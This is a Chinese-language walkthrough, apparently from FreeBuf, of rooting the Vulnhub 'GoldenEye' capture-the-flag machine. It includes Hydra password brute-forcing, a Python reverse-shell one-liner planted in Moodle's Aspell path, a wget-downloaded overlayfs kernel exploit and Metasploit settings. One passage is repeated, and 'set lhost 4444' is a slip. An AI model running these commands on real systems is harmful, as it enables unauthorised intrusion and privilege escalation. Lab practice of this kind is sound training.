白曦leno
- 关注
1-GoldenEye
知识点总结:
1.telnet邮件泄露
2.图片隐写
3.moodle管理员账户远程代码执行
4.Ubuntu 14.04.1版本提权
5.exp overlayfs[EDB-37292] 编译cc执行
描述
级别:中级
最近完成了创建OSCP型易受攻击的计算机的工作,该计算机的主题是伟大的James Bond电影(甚至更好的n64游戏)GoldenEye。目标是root并捕获秘密的GoldenEye代码-flag.txt。我认为它是中级的,它具有root所需的多种技术-没有漏洞利用开发/缓冲区溢出。在完成OSCP之后,我认为这将是一个不错的实践,另外还有一点CTF风味。我已经在VMware和VirtualBox上创建并验证。除了默认情况下,您不需要其他工具。将需要设置为“host only”,并且在VMware上,由于格式化,在最初启动它时,如果出现提示,可能需要单击“重试”。
Beta-2018-05-02 v1-2018-05-04
GoldenEye是由creosote发起并在Vulnhub举办的一项以秘密服务为主题的挑战。GoldenEye是一个CTF样式的框,而不是现实的渗透测试方案。此框需要相当多的“即开即用”的思想,才能找到根源
信息收集
使用kali先进行nmap扫描或者使用netdiscover来获取到对方的ip
nmap -sP 192.168.253.0/24
找到对方ip后,进行端口扫描
nmap -p- -Pn -n 192.168.253.4
可以看到,除了运行在端口 80 上的 Web 应用程序之外,还有两个 pop3 端口和一个 25的smtp 邮政协议端口。由于目标机器上的端口 80 可用,所以我就先去访问了一下
进行getshell
文本中提示“导航到 ”/sev-home/” ,所以我们添加后缀,访问
但是提示我们输入密码,但没有获得,所以去检查主页的 html 内容是否有任何有用的提示
看到一个名为“terminal.js”的文件,尝试去访问
在其他js文件找到一个用户名和经过HTML实体化编码的密码,去解码
解压出来之后,用户名和密码都得到了,尝试去登录(注意名字是小写)
成功登陆后,主页上提供了一些信息。
“请记住,由于默默无闻的安全性非常有效,我们已将 pop3 服务配置为在非常高的非默认端口上运行”
所以接下来肯定是跟邮件有关系了
再查看下html
发现有两个名字
,上面说pop3服务运行在一个非常“高”的非默认端口,那么这两个端口就有可能是有一个是跑着pop3服务的,浏览器访问发现是55007和55006,但只有55007可以访问
使用 Hydra 暴力破解 pop3 服务,之前找到的用户名“boris”。Hydra 能够使用 Kali 中的 fasttrack.txt 词表破解密码。
hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f 192.168.253.4 -s 55007 pop3
高亮代表暴力破解成功,该工具已经破解了用户“boris”的密码。
另一个用户“natalya”重复相同的过程
hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.253.4 -s 55007 pop3
获得后尝试使用这些凭据登录目标应用程序。我使用 Netcat 实用程序通过 pop3 端口并使用用户“boris”凭据登录到目标服务器。
nc 192.168.253.4 55007 (使用 Netcut 在端口 55007 上连接到目标系统)
USER boris (使用此命令输入用户名 boris)
PASS secret1! (使用这个命令输入用户的密码。之后,我们收到了来自目标机器的成功信息,现在我们已经在目标系统上成功认证了)
LIST(用于列出目标系统上可用的所有电子邮件)
所以接下来肯定是跟邮件有关系了
再查看下html
发现有两个名字
,上面说pop3服务运行在一个非常“高”的非默认端口,那么这两个端口就有可能是有一个是跑着pop3服务的,浏览器访问发现是55007和55006,但只有55007可以访问
使用 Hydra 暴力破解 pop3 服务,之前找到的用户名“boris”。Hydra 能够使用 Kali 中的 fasttrack.txt 词表破解密码。
hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f 192.168.253.4 -s 55007 pop3
高亮代表暴力破解成功,该工具已经破解了用户“boris”的密码。
另一个用户“natalya”重复相同的过程
hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.253.4 -s 55007 pop3
获得后尝试使用这些凭据登录目标应用程序。我使用 Netcat 实用程序通过 pop3 端口并使用用户“boris”凭据登录到目标服务器。
nc 192.168.253.4 55007 (使用 Netcut 在端口 55007 上连接到目标系统)
USER boris (使用此命令输入用户名 boris)
PASS secret1! (使用这个命令输入用户的密码。之后,我们收到了来自目标机器的成功信息,现在我们已经在目标系统上成功认证了)
LIST(用于列出目标系统上可用的所有电子邮件)
发现目标系统上有三封邮件,分别阅读这些电子邮件,看是否有信息
因为没啥信息,所以登陆另一个账号,步骤和上边一样
分别阅读这些电子邮件,看是否有信息
当我们看到第二个信息的时候,发现
获得到以下信息:
用户名:xenia
密码:RCP90rulez!
域名:severnaya-station.com
网址:severnaya-station.com/gnocertdir
根据信息,需要修改kali的/etc/hosts文件
然后使用前面获得的用户名和密码登录http://severnaya-station.com/gnocertdir/
根据之前获得的信息,登陆
在查找的时候,发现提到了“用户名”
根据之前的密码和应用程序的提示,再次使用 Hydra 实用程序为新识别的用户枚举密码。
hydra -l doak -P /usr/share/wordlists/fasttrack.txt -f 192.168.253.4 -s 55007 pop3
根据信息尝试在 POP 端口上使用这些凭据登录。
看邮件发现
用户名:dr_doak
密码:4England!
根据信息,登陆网站
我们通过访问,找到一个文件夹
从目标机器打开“s3cret.txt”文件。
根据提示,访问页面
网页上没有找到信息,把它下载下来
wget http://severnaya-station.com/dir007key/for-007.jpg
strings for-007.jpg
有一个 base-64 编码的字符串(两个等号表示它是一个 base-64 编码的字符串),解码
获得的凭据,可以获得对moodle 的管理员访问权限
用户名 admin
密码 xWinter1995x!
以看到应用程序名称是“Moodle”,它使用的是 2.2.3 版本,然后我去找了他的漏洞,发先了挺多姿势
不管使用哪种方法,都要设置。找到下面的拼写检查引擎设置,网站默认使用的是google spell,修改为pspellshell
方法一 远程代码执行漏洞
在moodle设置中,有一个用于配置系统路径的设置。Aspell 是可以安装在 Linux 上的拼写检查器,可以在 Moodle 中用于拼写检查操作。每当启动拼写检查操作时,moodle 将调用 Aspell 二进制文件。我们可以编辑 Aspell 的路径来获得一个反向 shell。
开启监听
修改了moodle系统路径以指向反向shell有效载荷
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.253.2",4444));os.dup2(s.fileno() ,0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
一旦正确设置了路径,就可以创建任何博客文章或页面。在编辑器上,可以调用拼写检查功能来获取反向 shell 连接
运行id命令时,却显示这不是root用户;这是 www-data 的低权限用户。
使用Python获取一个pty,不然有些命令是无法执行的,。
python -c 'import pty; pty.spawn("/bin/sh")'
虽然是低权限,但是我们可以来到这个目录下/var/www/html/006-final/xvf7-flag
这个 key.webm 文件使用了在线元转换器,但一无所获。
所以我查看了它的 gif 版本,并在 xvf7-flag 目录中找到了它:
已经貌似夺旗了。。。。。
但是仍然没有 root 访问权限,
提权
通过其他命令来检查目标机器的操作系统和内核版本,是一个Ubuntu 14.04.1 box
容易受到overlayfsEDB-37292攻击
所以
进入tmp 目录——cd /tmp/并下载了这个漏洞使用wget https://www.exploit-db.com/download/37292.c
值得注意的是
目标机器上并没有安装gcc而是cc
所以我想用clang替换gcc,这样它就不会产生这样的错误。
我运行命令将 gcc 替换为 clang:
sed -i 's/gcc/clang/g' 37292.c
说明:s 表示替换/gcc 表示原始单词/clang 表示新单词/g 表示全局替换它表示替换全部。我再次运行它,再次出现 5 个警告但没有错误。
然后 ./a.out
方法二 msf
开启msf
msfconsole
use exploit/multi/http/moodle_cmd_exec
show options
可以看出,已经在 Metasploit 中设置了漏洞利用。现在配置执行漏洞所需的数据:
set username admin
set password xWinter1995x!
set rhost severnaya-station.com
set targeturi /gnocertdir
set payload cmd/unix/reverse
set lhost 192.168.253.2
set lhost 4444
这里要注意,msf的版本不能太高,该版本会先查询hosts文件把域名转出IP这样就凉凉,网站只容许域名访问(我的太高,就没有成功)
总结
算是一个以ctf形式的靶机,也是我靶机的开端,如果有什么问题或者好的建议,希望大佬多多指点
另外欢迎各位关注我的公众号,非常感谢
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
